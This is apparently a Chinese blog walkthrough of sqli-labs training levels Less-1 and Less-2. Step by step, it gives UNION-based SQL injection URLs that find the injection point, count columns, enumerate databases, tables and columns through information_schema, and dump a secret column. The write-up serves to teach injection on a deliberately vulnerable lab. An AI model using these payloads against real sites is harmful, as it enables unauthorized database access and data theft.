sqli-labs靶场1~2笔记

sqli-labs

Less-1

首先访问Less-1:

发现提示:"Please input the ID as parameter with numeric value"

提示可以传递参数id。

尝试使用GET请求传参。

复制代码
http://sqli-labs/Less-1/?id=1

发现成功回显用户名与密码。

1.测试是否存在注入点:

当使用单引号发生报错

复制代码
http://sqli-labs/Less-1/?id=1'

使用两个单引号时正常回显。

复制代码
http://sqli-labs/Less-1/?id=1''

可以确定该位置存在sql注入且使用单引号进行闭合。

2 爆列数(回显位)

复制代码
http://sqli-labs/Less-1/?id=1' order by 1,2,3--+
复制代码
http://sqli-labs/Less-1/?id=1' order by 1,2,3,4--+

由此可以判断出该表一共有3列。

我们也可以直接使用联合注入来判断

复制代码
http://sqli-labs/Less-1/?id=' union select 1,2,3--+

可以发现在2,3位回显的是用户名和密码,那么接下来我们就使用2或3位置查看注入出的数据。

3.爆库

复制代码
#当前库
http://sqli-labs/Less-1/?id=' union select 1,2,database()--+
复制代码
#爆所有库
http://sqli-labs/Less-1/?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

(爆出的库有差异是正常的,我数据库中的库比较多,接下来我们只需要使用security即可,这个库是sqli-labs靶场的库)

4.爆表

复制代码
#challenges库中所有表
http://sqli-labs/Less-1/?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

(注意:表名每个人是随机的。我的是2m4sx0cpn5)

5.爆列

复制代码
2m4sx0cpn5#爆challenges库中2m4sx0cpn5表中所有列名
http://sqli-labs/Less-1/?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='2m4sx0cpn5' --+

6.爆字段

复制代码
#这里就看一下challenges库中2m4sx0cpn5表中secret_NOQD列中的所有数据
http://sqli-labs/Less-1/?id=' union select 1,2,group_concat(secret_NOQD) from challenges.2m4sx0cpn5 --+

到此结束。

Less-2

这里发现提示词还是id。

这里发现还是GET传参。

1.测试是否存在注入点:

这里经过单双引号和小括号的组合后,发现该注入点是数字型。

数字型不需要闭合符号。

接下来的操作不在过多赘述与Less-1大差不差。

2 爆列数(回显位)

这里不再使用order by测列数

复制代码
http://sqli-labs/Less-2/?id=0 union select 1,2,3--+

3.爆库

复制代码
#爆所有库
http://sqli-labs/Less-2/?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

4.爆表

复制代码
#爆challenges库中所有列名
http://sqli-labs/Less-2/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

5.爆列

复制代码
#爆challenges库中2m4sx0cpn5表中所有列名
http://sqli-labs/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='2m4sx0cpn5' --+

6.爆字段

复制代码
#这里就看一下security库中users表中username列中的所有数据
http://sqli-labs/Less-2/?id=0 union select 1,2,group_concat(secret_NOQD) from challenges.2m4sx0cpn5 --+

总结

前两关的差别就是注入类型的区别,Less-1是单引号字符串,Less-2是数字型。

相关推荐
飞浪纪元[FWC–FE]1 小时前
Qt 工程创建与 CMake / qmake 构建规范
开发语言·数据库·qt
Ivanqhz1 小时前
MoE + LLM 应用
数据库·人工智能·pytorch·python·深度学习·算法·1024程序员节
Tsuki_tl1 小时前
【总结】Redis五大数据类型应用场景及基本命令
数据库·redis·后端·缓存·缓存中间件·redis命令·redis 五大数据类型
Gauss松鼠会1 小时前
GaussDB 整体架构解析
运维·服务器·网络·数据库·sql·架构·gaussdb
系统集成-鹰翔2 小时前
ERP对接升级提示数据库迁移失败:SQLite逐版本事务到底回滚到哪一步
javascript·数据库·经验分享·后端
西瓜拿铁好喝2 小时前
开源和闭源 AI 办公工具,分别适合谁
java·前端·数据库
代码派2 小时前
业务不停机迁移 MySQL 到 TiDB,NineData 数据增量同步实操演示
数据库·mysql·tidb·ninedata·无停机迁移·增量迁移·全量迁移
Gauss松鼠会2 小时前
GaussDB 中 gsql 与 DBeaver(JDBC)客户端工具查询时间不一致:原因、排查与处理
运维·服务器·数据库·sql·gaussdb·经验总结
Elastic 中国社区官方博客2 小时前
基于 Jina OCR v1 与 Elasticsearch 的 PDF 智能混合检索与 RAG 系统实战指南
大数据·数据库·elasticsearch·搜索引擎·ocr·jina
渣渣盟2 小时前
Flink SQL 流批一体:从 SQL 到执行计划,优化器如何工作?
大数据·sql·flink